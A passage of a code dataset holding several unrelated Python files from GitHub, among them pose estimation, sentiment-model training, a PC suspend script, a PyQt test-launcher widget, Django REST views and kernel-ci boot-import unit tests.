[\n -0.09224101321,\n 0.9955650135,\n 0.01849052095\n ],\n [\n 0.9818563545,\n 0.08784972047,\n 0.1680491765\n ]\n ], dtype=np.float32)\n T = np.array([[17.76193366], [126.741365], [286.3860507]], dtype=np.float32)\n\n def __init__(self, image):\n self.image = image\n pass\n\n def get_pose(self):\n if self.image is None:\n return []\n\n input_scale = PoseService.base_height / self.image.shape[0]\n scaled_img = cv2.resize(self.image, dsize=None, fx=input_scale, fy=input_scale)\n scaled_img = scaled_img[:,\n 0:scaled_img.shape[1] - (\n scaled_img.shape[1] % PoseService.stride)] # better to pad, but cut out for demo\n\n PoseService.fx = np.float32(0.8 * self.image.shape[1])\n\n inference_result = PoseService.net.infer(scaled_img)\n poses_3d, poses_2d = parse_poses(inference_result, input_scale, PoseService.stride, PoseService.fx, False)\n\n if len(poses_3d):\n poses_3d = poses_3d.reshape(poses_3d.shape[0], 19, -1)[:, :, 0:3]\n\n # draw_poses(self.image, poses_2d)\n\n # cv2.imwrite('2d.png', self.image)\n\n if poses_3d.size == 0 or poses_2d.size == 0:\n return {\"pose2D\": [], \"pose3D\": []}\n\n return {\"pose2D\": poses_2d[0].flatten().tolist(), \"pose3D\": poses_3d[0].flatten().tolist()}\n","repo_name":"chunibyo-wly/pose-estimate","sub_path":"poseService.py","file_name":"poseService.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29615033810","text":"from layers import Embedding, LSTM, Dense, TimeMean\nfrom loss import SoftmaxCrossEntropyLoss, MSELoss\nfrom optimizer import SGD\nfrom trainer import Trainer\nfrom glove import get_glove_vec\nfrom data import load_imdb\nfrom functions import softmax\nimport numpy as np\n\n\nclass SentiLSTM:\n def __init__(self, word_index, embed_size=50, output_size=2):\n \"\"\"\n\n :param word_index: word to index dictionary\n :param embed_size: embedding size of word vectors, D = 50, 100, 200, 300 for glove\n :param output_size: binary\n \"\"\"\n np.random.seed(10)\n # word vector look up matrix initialization\n We = get_glove_vec(save_path='glove/glove.6B.50d.txt', word_index=word_index, word_dim=embed_size)\n W = np.random.randn(embed_size, output_size)\n b = np.zeros(output_size)\n\n self.embed_layer = Embedding(We)\n self.pooling_layer = TimeMean()\n self.linear_layer = Dense(W, b)\n self.loss_layer = SoftmaxCrossEntropyLoss()\n\n self.layers = [\n self.pooling_layer,\n self.linear_layer,\n ]\n\n self.params, self.grads = [], []\n for layer in self.layers:\n self.params.extend(layer.params)\n self.grads.extend(layer.grads)\n\n def forward(self, xs, ys):\n \"\"\"\n\n :param xs: training samples, shape (N, T)\n :param ys: training labels, shape (N,)\n :return:\n \"\"\"\n xs = self.embed_layer.forward(xs) # shape (N, T, D)\n for layer in self.layers:\n xs = layer.forward(xs)\n loss = self.loss_layer.forward(xs, ys)\n return loss\n\n def backward(self, dl=1):\n dxs = self.loss_layer.backward(dl)\n for layer in reversed(self.layers):\n dxs = layer.backward(dxs)\n return dxs\n\n def evaluate(self, xs, ys):\n \"\"\"\n evaluate the accuracy of the model\n :param xs: shape (N, T)\n :param ys: shape (N,)\n :return:d\n \"\"\"\n xs = self.embed_layer.forward(xs)\n for layer in self.layers:\n xs = layer.forward(xs)\n xs = softmax(xs)\n correct = 0\n N, = ys.shape\n # print(xs.shape, ys.shape)\n for n in range(N):\n if xs[n].argmax() == ys[n]:\n correct += 1\n accuracy = correct/N\n return accuracy\n\n def save_param(self, save_path='model/senti_linear.npz'):\n np.savez(save_path, W=self.params[0], b=self.params[1])\n print(\"Model parameters successfully saved !\")\n return None\n\n def load_param(self, load_path='model/senti_linear.npz'):\n npz = np.load(load_path)\n self.params[0][...] = npz['W']\n self.params[1][...] = npz['b']\n print(\"Model parameters successfully loaded !\")\n return None\n\n\ndef train_lstm_imdb():\n (train_data, train_labels), (test_data, test_labels), word_index = load_imdb()\n train_data, train_labels = train_data[:5000], train_labels[:5000]\n test_data, test_labels = test_data[:5000], test_labels[:5000]\n lstm = SentiLSTM(word_index=word_index, embed_size=50, output_size=2)\n opt = SGD(learning_rate=1, threshold=5)\n trainer = Trainer(model=lstm, optimizer=opt)\n trainer.fit(train_data, train_labels, test_data, test_labels, batch_size=32, epochs=100, decay=0.2)\n lstm.save_param(save_path='model/senti_linear_100.npz')\n opt.plot_norm(save_path='results/imdb/linear/')\n trainer.plot_losses(save_path='results/imdb/linear/sentiment_loss.jpg')\n trainer.plot_accuracy(save_path='results/imdb/linear/sentiment_accuracy.jpg')\n\n\ndef test():\n # to test if it can overfit\n (train_data, train_labels), (test_data, test_labels), word_index = load_imdb()\n train_data, train_labels = train_data[:10], train_labels[:10]\n test_data, test_labels = test_data[:100], test_labels[:100]\n lstm = SentiLSTM(word_index=word_index, embed_size=50, output_size=2)\n opt = SGD(learning_rate=0.001, threshold=5)\n trainer = Trainer(model=lstm, optimizer=opt)\n trainer.fit(train_data, train_labels, test_data, test_labels, batch_size=1, epochs=200, decay=0.2)\n\n\nif __name__ == '__main__':\n train_lstm_imdb()\n # test()\n","repo_name":"jordane95/MachineLearning","sub_path":"nn/train_imdb_linear.py","file_name":"train_imdb_linear.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2865055196","text":"import ctypes\r\nimport platform\r\nimport time\r\n\r\ndef suspend_computer():\r\n system_platform = platform.system()\r\n\r\n if system_platform == \"Windows\":\r\n # 载入 powrprof.dll\r\n powrprof = ctypes.windll.LoadLibrary(\"powrprof.dll\")\r\n \r\n # 呼叫 SetSuspendState 函数\r\n result = powrprof.SetSuspendState(0, 1, 0)\r\n \r\n if result == 0:\r\n print(\"电脑成功进入休眠状态\")\r\n else:\r\n print(\"电脑进入休眠状态失败\")\r\n elif system_platform == \"Linux\":\r\n # 在 Linux 上,可以使用 os.system 调用 pm-suspend 命令\r\n os.system(\"sudo pm-suspend\")\r\n else:\r\n print(\"不支持的操作系统\")\r\n\r\n# 呼叫函数来使计算机休眠\r\nsuspend_computer()\r\n\r\n# 停顿一段时间,以便查看效果\r\ntime.sleep(5)\r\n","repo_name":"DioWang67/test1","sub_path":"PC_sleep.py","file_name":"PC_sleep.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36594158198","text":"import numpy as np\n\nfrom KNARRatom.atom import Atom\nfrom KNARRjobs.utilities import PathLinearInterpol\nfrom KNARRio.output_print import PrintConfigurationPath\nfrom KNARRio.io import WritePath\n\n\n# Author: Vilhjalmur Asgeirsson, 2019\n\nclass Path(Atom):\n\n # Child-class to Atom\n def __init__(self, name=\"unknown_path\", nim=6, config1=None,\n config2=None, insertion=None,\n cell=None, pbc=None):\n\n self.name = name\n self.nim = nim\n self.config1 = config1\n self.config2 = config2\n self.insertion = insertion\n self.output = None\n\n self.coords = None\n self.moveable = None\n self.ndim = None\n self.ndof = None\n self.ndofIm = None\n self.ndimIm = None\n self.symbols = None\n self.constraints = None\n self.dkappa = None\n\n self.energy = None\n self.forces = None\n self.forcecalls = 0\n\n self.pbc = pbc\n self.cell = cell\n\n self.twodee = False\n self.setup = False\n self.ischain = True\n\n # ==================================================================\n # Function methods\n # ==================================================================\n def LinearInterpolate(self):\n\n if self.ndim is None or self.ndimIm is None or self.nim is None:\n raise TypeError(\"Please initialize the path before performing interpolation\")\n\n if type(self.GetConfig1()) is not np.ndarray:\n raise TypeError(\"Expecting numpy array\")\n\n if type(self.GetConfig2()) is not np.ndarray:\n raise TypeError(\"Expecting numpy array\")\n\n if len(self.GetConfig2()) != len(self.GetConfig1()):\n raise ValueError(\"Dimension mismatch\")\n\n rp = PathLinearInterpol(self.GetNDimIm(), self.nim,\n self.GetConfig1(), self.GetConfig2(),\n self.GetPBC(), self.GetCell())\n\n self.SetCoords(rp)\n self.MIC()\n self.setup = True\n return\n\n def MinRMSD(self):\n\n from KNARRatom.utilities import MinimizeRotation\n if self.IsConstrained():\n return\n ndim = self.GetNDimIm()\n nim = self.GetNim()\n newpath = np.zeros(shape=(ndim * nim, 1))\n for i in range(1, nim):\n target_coords = self.GetCoords()[(i - 1) * ndim:i * ndim].copy()\n prod_coords = self.GetCoords()[i * ndim:(i + 1) * ndim].copy()\n prod_coords, target_coords = MinimizeRotation(ndim, target_coords,\n prod_coords)\n if i == 1:\n newpath[(i - 1) * ndim:i * ndim] = target_coords\n\n newpath[i * ndim:(i + 1) * ndim] = prod_coords\n\n self.SetCoords(newpath)\n return\n\n def PrintPath(self, header=None):\n PrintConfigurationPath(header, self.GetNDim(), self.GetNDimIm(), self.GetNim(), self.GetNDof(),\n self.GetCoords(), self.GetConstraints(), self.GetSymbols(),\n self.GetCell(), self.GetPBC())\n return None\n\n def WritePath(self, fname):\n WritePath(fname, self.GetNDimIm(), self.GetNim(), self.GetCoords(),\n self.GetSymbols(), self.GetEnergy())\n return None\n\n # ==================================================================\n # \"Update and add\" methods\n # ==================================================================\n\n # ==================================================================\n # \"SET\" methods\n # ==================================================================\n\n def SetNim(self,x):\n assert x > 0\n self.nim = x\n\n def SetNDimIm(self, x):\n try:\n self.ndimIm = int(x)\n except:\n raise TypeError(\"Expecting type int\")\n return\n\n def SetNDofIm(self, x):\n try:\n self.ndofIm = int(x)\n except:\n raise TypeError(\"Expecting type int\")\n return\n def SetNDof(self, x):\n self.ndof = x\n\n def SetNDim(self, x):\n try:\n self.ndim = int(x)\n except:\n raise TypeError(\"Expecting type int\")\n return\n\n\n def Setdkappa(self, x):\n assert type(x) is np.ndarray\n self.dkappa = x.copy()\n return\n\n def SetEnergy(self, energy, x=None):\n if x is None:\n self.SetOldEnergy()\n assert type(energy) == np.ndarray\n if self.energy is not None:\n assert len(energy) == len(self.GetEnergy())\n self.energy = energy\n return\n else:\n assert x >= 0\n assert x < self.GetNim()\n\n self.SetOldEnergy(x)\n self.energy[x] = energy\n return\n\n def SetOldEnergy(self, x=None):\n if x is None:\n if self.energy is not None:\n self.energy0 = self.energy.copy()\n else:\n if self.energy is not None:\n self.energy0[x] = self.energy[x]\n return\n\n def SetConfig1(self, x):\n if len(x) != self.GetNDimIm():\n raise ValueError(\"Dimension mismatch\")\n\n if type(x) is not np.ndarray:\n raise TypeError(\"numpy array expected\")\n\n self.config1 = x\n return\n\n def SetConfig2(self, x):\n if len(x) != self.GetNDimIm():\n raise ValueError(\"Dimension mismatch\")\n\n if type(x) is not np.ndarray:\n raise TypeError(\"numpy array expected\")\n\n self.config2 = x\n return\n\n def SetInsertionConfig(self, x):\n if len(x) != self.GetNDimIm():\n raise ValueError(\"Dimension mismatch\")\n\n if type(x) is not np.ndarray:\n raise TypeError(\"numpy array expected\")\n\n self.insertion = x\n return\n\n # ==================================================================\n # \"GET\" methods\n # ==================================================================\n\n def GetNDimIm(self):\n return self.ndimIm\n\n def GetNDofIm(self):\n return self.ndofIm\n\n def GetNDim(self):\n return self.ndim\n\n def GetInsertionConfig(self):\n return self.insertion\n\n def Getdkappa(self):\n return self.dkappa\n\n def GetConfig1(self):\n return self.config1\n\n def GetConfig2(self):\n return self.config2\n\n def GetEnergy(self, x=None):\n if x is None:\n return self.energy\n else:\n assert x > 0\n assert x < self.GetNim()\n return self.energy[x]\n","repo_name":"RagnarB83/ash","sub_path":"knarr/KNARRatom/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":6595,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"31"} +{"seq_id":"18555771401","text":"\"\"\"Tests widget within the GUI.\n\n\"\"\"\nfrom logging import getLogger\nfrom os.path import exists\n\nfrom PyQt5.QtWidgets import (\n QCheckBox,\n QComboBox,\n QGridLayout,\n QGroupBox,\n QLabel,\n QMessageBox,\n QPushButton,\n QVBoxLayout,\n QWidget,\n)\n\nfrom .paths import (\n batches_list,\n get_error_messages,\n get_tests_from_batch,\n proband_pickles,\n tests_list,\n)\nfrom .procedure import SimpleProcedure\n\nlogger = getLogger(__name__)\n\nkeywords = {\"proband_id\", \"test_name\", \"language\", \"fullscreen\", \"resumable\"}\n\n\nclass TestsWidget(QWidget):\n def __init__(self, parent=None) -> None:\n \"\"\"Test tab widget.\n\n \"\"\"\n super(TestsWidget, self).__init__(parent=parent)\n logger.debug(f\"initialised {type(self)} with parent={parent}\")\n\n # instructions\n self.instructions = self.parent().instructions\n\n # layout\n self.layout = QVBoxLayout()\n self.setLayout(self.layout)\n\n # layout > options group box\n self.options_groupbox = QGroupBox(self.instructions[9])\n self.layout.addWidget(self.options_groupbox)\n self.options_groupbox_grid = QGridLayout()\n self.options_groupbox.setLayout(self.options_groupbox_grid)\n\n # layout > options group box > proband ID selection box\n self.options_groupbox_grid.addWidget(QLabel(self.instructions[47]), 0, 0)\n self.proband_id_box = QComboBox()\n self.options_groupbox_grid.addWidget(self.proband_id_box, 0, 1)\n self.proband_id_box.setEditable(False)\n self.options_groupbox_grid.addWidget(QLabel(self.instructions[46]), 1, 0, 3, 2)\n\n # layout > options group box > fullscreen\n self.fullscreen_checkbox = QCheckBox(self.instructions[10], self)\n self.options_groupbox_grid.addWidget(self.fullscreen_checkbox, 4, 0, 1, 2)\n\n # layout > options group box > resume\n self.resume_checkbox = QCheckBox(self.instructions[11], self)\n self.options_groupbox_grid.addWidget(self.resume_checkbox, 5, 0, 1, 2)\n\n # layout > options group box > language selection box\n self.options_groupbox_grid.addWidget(QLabel(self.instructions[48]), 7, 0)\n self.language_box = QComboBox()\n self.options_groupbox_grid.addWidget(self.language_box, 7, 1)\n self.language_box.setEditable(False)\n\n # layout > test group box\n self.test_groupbox = QGroupBox(self.instructions[13])\n self.layout.addWidget(self.test_groupbox)\n self.test_groupbox_grid = QGridLayout()\n self.test_groupbox.setLayout(self.test_groupbox_grid)\n\n # layout > test group box > test selection box\n self.test_groupbox_grid.addWidget(QLabel(self.instructions[14]), 0, 0)\n self.test_name_box = QComboBox(self)\n self.test_groupbox_grid.addWidget(self.test_name_box, 0, 1)\n self.test_name_box.setEditable(False)\n\n # layout > test group box > run test button\n self.test_button = QPushButton(self.instructions[15], self)\n self.test_groupbox_grid.addWidget(self.test_button, 1, 0, 1, 2)\n\n # layout > batch group box\n self.batch_groupbox = QGroupBox(self.instructions[16])\n self.layout.addWidget(self.batch_groupbox)\n self.batch_groupbox_grid = QGridLayout()\n self.batch_groupbox.setLayout(self.batch_groupbox_grid)\n\n # layout > batch group box > batch selection box\n self.batch_groupbox_grid.addWidget(QLabel(self.instructions[17]), 0, 0)\n self.batch_name_box = QComboBox(self)\n self.batch_groupbox_grid.addWidget(self.batch_name_box, 0, 1)\n self.batch_name_box.setEditable(False)\n self.batch_groupbox_grid.addWidget(QLabel(self.instructions[21]), 1, 0, 1, 2)\n\n # layout > batch group box > run batch button\n self.batch_button = QPushButton(self.instructions[18], self)\n self.batch_groupbox_grid.addWidget(self.batch_button, 2, 0, 1, 2)\n\n # layout > stretch factor\n self.layout.addStretch(1)\n\n # populate\n logger.debug(\"creating default keywords\")\n keywords = (\"proband_id\", \"test_name\", \"language\", \"fullscreen\", \"resumable\")\n kwds = self.parent().parent().kwds.items()\n self.kwds = {k: v for k, v in kwds if k in keywords}\n self.proband_id_box.addItems([\"TEST\"] + proband_pickles())\n self.fullscreen_checkbox.setChecked(self.kwds[\"fullscreen\"])\n self.resume_checkbox.setChecked(self.kwds[\"resumable\"])\n self.language_box.addItems([\"en\"])\n self.test_name_box.addItems([\"\"] + sorted(tests_list))\n self.batch_name_box.addItems([\"\"] + sorted(batches_list))\n\n # connect buttons\n self.__begin = self.parent().parent().switch_central_widget # store ref\n self.test_button.clicked.connect(self._run_single_test)\n self.batch_button.clicked.connect(self._run_batch)\n\n def _run_single_test(self) -> None:\n \"\"\"Run a single test.\"\"\"\n logger.debug(\"called _run_single_test()\")\n s = self.proband_id_box.currentText()\n if s:\n self.kwds[\"proband_id\"] = s\n self.kwds[\"fullscreen\"] = self.fullscreen_checkbox.isChecked()\n self.kwds[\"resumable\"] = self.resume_checkbox.isChecked()\n self.kwds[\"language\"] = self.language_box.currentText()\n self.kwds[\"test_names\"] = [self.test_name_box.currentText()]\n self._update_maiwindow_kwds()\n rsp = self._show_confirmation_box()\n if rsp == QMessageBox.Ok:\n self._begin()\n\n def _run_batch(self) -> None:\n \"\"\"Run a single test.\"\"\"\n logger.debug(\"called _run_batch()\")\n s = self.proband_id_box.currentText()\n if s:\n self.kwds[\"proband_id\"] = s\n self.kwds[\"fullscreen\"] = self.fullscreen_checkbox.isChecked()\n self.kwds[\"resumable\"] = self.resume_checkbox.isChecked()\n self.kwds[\"language\"] = self.language_box.currentText()\n batch = self.batch_name_box.currentText()\n if batch in batches_list:\n tests = get_tests_from_batch(batch)\n self.kwds[\"test_names\"] = tests\n self._update_maiwindow_kwds()\n rsp = self._show_confirmation_box()\n if rsp == QMessageBox.Ok:\n self._begin()\n\n def _show_confirmation_box(self) -> int:\n \"\"\"Display a pop-up message box.\"\"\"\n logger.debug(\"called _show_confirmation_box()\")\n message_box = QMessageBox()\n s = self.instructions[57] % (\n self.kwds[\"proband_id\"],\n \"\\n\".join(self.kwds[\"test_names\"]),\n )\n message_box.setText(s)\n message_box.setStandardButtons(QMessageBox.Ok | QMessageBox.Cancel)\n return message_box.exec_()\n\n def _begin(self) -> None:\n logger.debug(\"called _begin()\")\n data = SimpleProcedure(\n proband_id=self.kwds[\"proband_id\"], test_name=self.kwds[\"test_names\"][0]\n )\n proband_exists = exists(data.path)\n if proband_exists and not self.kwds[\"resumable\"]:\n message_box = QMessageBox()\n msg = get_error_messages(self.kwds[\"language\"], \"proband_exists\")\n message_box.setText(msg)\n message_box.exec_()\n else:\n self.__begin()\n\n def _update_maiwindow_kwds(self) -> None:\n \"\"\"The following is quite possibly the worst bit of code I've ever written.\"\"\"\n logger.debug(\"called _update_maiwindow_kwds()\")\n self.parent().parent().parent().parent().parent().kwds.update(self.kwds)\n","repo_name":"sammosummo/Charlie2","sub_path":"charlie2/tools/testswidget.py","file_name":"testswidget.py","file_ext":"py","file_size_in_byte":7539,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"11432376851","text":"from django.contrib import auth\r\nfrom django.contrib.auth.models import User\r\nfrom django.http import JsonResponse\r\nfrom django.shortcuts import render, redirect\r\nfrom rest_framework.decorators import api_view\r\nfrom rest_framework import status, serializers\r\nfrom rest_framework.generics import get_object_or_404\r\n\r\nfrom .models import Hope\r\nfrom .serializer import HopeSerializer\r\n# Create your views here.\r\nfrom rest_framework.response import Response\r\n\r\n\r\n\r\n\r\n@api_view(['GET','POST'])\r\ndef hope_list(request):\r\n if request.method == 'GET':\r\n #get all the hopes\r\n #serialize them\r\n #return json\r\n hopes = Hope.objects.all()\r\n serializer=HopeSerializer(hopes, many=True)\r\n return JsonResponse({'hopes':serializer.data}, safe=False)\r\n if request.method == 'POST':\r\n serializer=HopeSerializer(data=request.data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response(serializer.data,status=status.HTTP_201_CREATED)\r\n\r\n@api_view(['GET','PUT','DELETE'])\r\ndef hope_detail(request, id):\r\n try:\r\n hope = Hope.objects.get(pk=id)\r\n except Hope.DoesNotExist:\r\n return Response(status=status.HTTP_404_NOT_FOUND)\r\n\r\n if request.method == 'GET':\r\n serializer = HopeSerializer(hope)\r\n return Response(serializer.data)\r\n\r\n elif request.method == 'PUT':\r\n serializer = HopeSerializer(hope, data=request.data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response(serializer.data)\r\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n elif request.method == 'DELETE':\r\n hope.delete()\r\n return Response(status=status.HTTP_204_NO_CONTENT)\r\n\r\n\r\n\r\n\r\n","repo_name":"sarikamahadik/nimap-infotech","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27708429149","text":"# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n\nimport datetime\nimport json\nimport logging\nimport mongomock\nimport os\nimport sys\nimport tempfile\nimport types\nimport unittest\n\nfrom mock import patch\n\nimport models.boot as modb\nimport utils.bootimport\n\n\nclass TestParseBoot(unittest.TestCase):\n\n def setUp(self):\n logging.disable(logging.CRITICAL)\n self.db = mongomock.Database(mongomock.Connection(), 'kernel-ci')\n self.base_path = tempfile.gettempdir()\n\n self.boot_report = dict(\n version=\"1.0\",\n board=\"board\",\n lab_name=\"lab_name\",\n kernel=\"kernel\",\n job=\"job\",\n defconfig=\"defconfig\",\n arch=\"arm\",\n boot_log='boot-board-name.log',\n boot_result=\"PASS\",\n boot_result_description=\"passed\",\n boot_time=28.07,\n boot_warnings=0,\n dtb=\"dtb/board-name.dtb\",\n dtb_addr=\"0x81f00000\",\n initrd_addr=\"0x81f00001\",\n kernel_image=\"zImage\",\n loadaddr=\"0x80200000\",\n endian=\"little\",\n uimage=\"uimage\",\n uimage_addr=\"xip\",\n mach=\"soc\"\n )\n\n def tearDown(self):\n logging.disable(logging.NOTSET)\n\n def test_parse_from_json_simple(self):\n doc = utils.bootimport._parse_boot_from_json(self.boot_report, self.db)\n\n self.assertIsInstance(doc, modb.BootDocument)\n self.assertEqual(doc.name, \"board-job-kernel-defconfig-arm\")\n self.assertEqual(doc.load_addr, \"0x80200000\")\n self.assertEqual(doc.endian, \"little\")\n self.assertEqual(doc.version, \"1.0\")\n self.assertEqual(doc.mach, \"soc\")\n self.assertEqual(doc.uimage, \"uimage\")\n self.assertIsInstance(doc.metadata, types.DictionaryType)\n\n def test_check_for_null_with_none(self):\n boot_report = (\n '{\"job\": null, \"board\": \"board\", '\n '\"kernel\": \"kernel\", \"defconfig\": \"defconfig\", \"lab_name\": \"lab\"}'\n )\n\n self.assertRaises(\n utils.bootimport.BootImportError,\n utils.bootimport._check_for_null, json.loads(boot_report))\n\n def test_check_for_null_with_null(self):\n boot_report = (\n '{\"job\": \"job\", \"board\": \"null\", '\n '\"kernel\": \"kernel\", \"defconfig\": \"defconfig\", \"lab_name\": \"lab\"}'\n )\n\n self.assertRaises(\n utils.bootimport.BootImportError,\n utils.bootimport._check_for_null, json.loads(boot_report))\n\n def test_check_for_null_with_none_string(self):\n boot_report = (\n '{\"job\": \"job\", \"board\": \"board\", '\n '\"kernel\": \"None\", \"defconfig\": \"defconfig\", \"lab_name\": \"lab\"}'\n )\n boot_json = json.loads(boot_report)\n\n self.assertRaises(\n utils.bootimport.BootImportError,\n utils.bootimport._check_for_null, boot_json, boot_json.get)\n\n def test_check_for_null_with_none_string_lower(self):\n boot_report = (\n '{\"job\": \"job\", \"board\": \"board\", '\n '\"kernel\": \"kernel\", \"defconfig\": \"none\", \"lab_name\": \"lab\"}'\n )\n boot_json = json.loads(boot_report)\n\n self.assertRaises(\n utils.bootimport.BootImportError,\n utils.bootimport._check_for_null, boot_json, boot_json.get)\n\n @patch(\"utils.db.get_db_connection\")\n def test_import_and_save_boot(self, mock_db):\n mock_db = self.db\n\n code, doc_id = utils.bootimport.import_and_save_boot(\n self.boot_report, {}, base_path=self.base_path\n )\n lab_dir = os.path.join(\n self.base_path, \"job\", \"kernel\", \"arm-defconfig\", \"lab_name\"\n )\n boot_file = os.path.join(lab_dir, \"boot-board.json\")\n\n self.assertTrue(os.path.isdir(lab_dir))\n self.assertTrue(os.path.isfile(boot_file))\n self.assertEqual(code, 201)\n\n try:\n os.remove(boot_file)\n os.rmdir(lab_dir)\n except OSError:\n pass\n\n @patch(\"utils.bootimport._check_for_null\")\n def test_parse_from_json_wrong_json(self, mock_null):\n boot_json = {\n \"foo\": \"bar\"\n }\n self.assertRaises(\n KeyError, utils.bootimport._parse_boot_from_json(boot_json, self.db)\n )\n\n def test_parse_from_json_with_null(self):\n boot_json = {\n \"board\": \"null\"\n }\n\n doc = utils.bootimport._parse_boot_from_json(boot_json, self.db)\n self.assertIsNone(doc)\n\n @patch(\"utils.bootimport._parse_boot_from_json\")\n def test_import_and_save_no_doc(self, mock_parse):\n mock_parse.return_value = None\n\n code, doc_id = utils.bootimport.import_and_save_boot({}, {})\n self.assertIsNone(code)\n self.assertIsNone(doc_id)\n\n def test_parse_from_file_no_file(self):\n doc = utils.bootimport._parse_boot_from_file(None, self.db)\n self.assertIsNone(doc)\n\n def test_parse_from_file_wrong_file(self):\n doc = utils.bootimport._parse_boot_from_file('foobar.json', self.db)\n self.assertIsNone(doc)\n\n @patch(\"utils.bootimport._check_for_null\")\n def test_parse_from_file_no_key(self, mock_null):\n boot_log = tempfile.NamedTemporaryFile(\n mode='w+b', bufsize=-1, suffix=\"json\", delete=False\n )\n boot_obj = {\n \"foo\": \"bar\"\n }\n\n try:\n with open(boot_log.name, mode=\"w\") as boot_write:\n boot_write.write(json.dumps(boot_obj))\n\n doc = utils.bootimport._parse_boot_from_file(\n boot_log.name, self.db)\n\n self.assertIsNone(doc)\n finally:\n os.remove(boot_log.name)\n\n def test_parse_from_file_wrong_boot_time_too_big(self):\n boot_log = tempfile.NamedTemporaryFile(\n mode='w+b', bufsize=-1, suffix=\"json\", delete=False\n )\n boot_obj = {\n \"job\": \"job\",\n \"kernel\": \"kernel\",\n \"defconfig\": \"defconfig\",\n \"board\": \"board\",\n \"dtb\": \"dtb\",\n \"lab_name\": \"lab_name\",\n \"boot_time\": sys.maxint\n }\n\n try:\n with open(boot_log.name, mode=\"w\") as boot_write:\n boot_write.write(json.dumps(boot_obj))\n\n doc = utils.bootimport._parse_boot_from_file(\n boot_log.name, self.db)\n\n self.assertEqual(doc.board, \"board\")\n self.assertEqual(doc.job, \"job\")\n self.assertEqual(doc.kernel, \"kernel\")\n self.assertEqual(doc.defconfig, \"defconfig\")\n self.assertEqual(doc.dtb, \"dtb\")\n self.assertEqual(doc.time, datetime.datetime(1970, 1, 1, 0, 0))\n finally:\n os.remove(boot_log.name)\n\n def test_parse_from_file_wrong_boot_time_too_big_negative(self):\n boot_log = tempfile.NamedTemporaryFile(\n mode='w+b', bufsize=-1, suffix=\"json\", delete=False\n )\n boot_obj = {\n \"job\": \"job\",\n \"kernel\": \"kernel\",\n \"defconfig\": \"defconfig\",\n \"board\": \"board\",\n \"dtb\": \"dtb\",\n \"lab_name\": \"lab_name\",\n \"boot_time\": -sys.maxint - 1\n }\n\n try:\n with open(boot_log.name, mode=\"w\") as boot_write:\n boot_write.write(json.dumps(boot_obj))\n\n doc = utils.bootimport._parse_boot_from_file(\n boot_log.name, self.db)\n\n self.assertEqual(doc.board, \"board\")\n self.assertEqual(doc.job, \"job\")\n self.assertEqual(doc.kernel, \"kernel\")\n self.assertEqual(doc.defconfig, \"defconfig\")\n self.assertEqual(doc.dtb, \"dtb\")\n self.assertEqual(doc.time, datetime.datetime(1970, 1, 1, 0, 0))\n finally:\n os.remove(boot_log.name)\n\n def test_parse_from_file_wrong_boot_time_negative(self):\n boot_log = tempfile.NamedTemporaryFile(\n mode='w+b', bufsize=-1, suffix=\"json\", delete=False\n )\n boot_obj = {\n \"job\": \"job\",\n \"kernel\": \"kernel\",\n \"defconfig\": \"defconfig\",\n \"board\": \"board\",\n \"dtb\": \"dtb\",\n \"lab_name\": \"lab_name\",\n \"boot_time\": -1500.0\n }\n\n try:\n with open(boot_log.name, mode=\"w\") as boot_write:\n boot_write.write(json.dumps(boot_obj))\n\n doc = utils.bootimport._parse_boot_from_file(\n boot_log.name, self.db)\n\n self.assertEqual(doc.board, \"board\")\n self.assertEqual(doc.job, \"job\")\n self.assertEqual(doc.kernel, \"kernel\")\n self.assertEqual(doc.defconfig, \"defconfig\")\n self.assertEqual(doc.dtb, \"dtb\")\n self.assertEqual(doc.time, datetime.datetime(1970, 1, 1, 0, 0))\n finally:\n os.remove(boot_log.name)\n\n def test_parse_from_file_valid(self):\n boot_log = tempfile.NamedTemporaryFile(\n mode='w+b', bufsize=-1, suffix=\"json\", delete=False\n )\n boot_obj = {\n \"job\": \"job\",\n \"kernel\": \"kernel\",\n \"defconfig\": \"defconfig\",\n \"board\": \"board\",\n \"dtb\": \"dtb\",\n \"lab_name\": \"lab_name\",\n \"boot_time\": 0,\n }\n\n try:\n with open(boot_log.name, mode=\"w\") as boot_write:\n boot_write.write(json.dumps(boot_obj))\n\n doc = utils.bootimport._parse_boot_from_file(\n boot_log.name, self.db)\n\n self.assertEqual(doc.board, \"board\")\n self.assertEqual(doc.job, \"job\")\n self.assertEqual(doc.kernel, \"kernel\")\n self.assertEqual(doc.defconfig, \"defconfig\")\n self.assertEqual(doc.dtb, \"dtb\")\n finally:\n os.remove(boot_log.name)\n\n def test_parse_from_file_no_board(self):\n boot_log = tempfile.NamedTemporaryFile(\n mode='w+b', bufsize=-1, prefix=\"boot-\", suffix=\".json\", delete=False\n )\n boot_obj = {\n \"job\": \"job\",\n \"kernel\": \"kernel\",\n \"defconfig\": \"defconfig\",\n \"dtb\": \"dtbs/board.dtb\",\n \"lab_name\": \"lab_name\",\n \"boot_time\": 0,\n }\n\n try:\n with open(boot_log.name, mode=\"w\") as boot_write:\n boot_write.write(json.dumps(boot_obj))\n\n doc = utils.bootimport._parse_boot_from_file(\n boot_log.name, self.db)\n\n self.assertEqual(doc.board, \"board\")\n self.assertEqual(doc.job, \"job\")\n 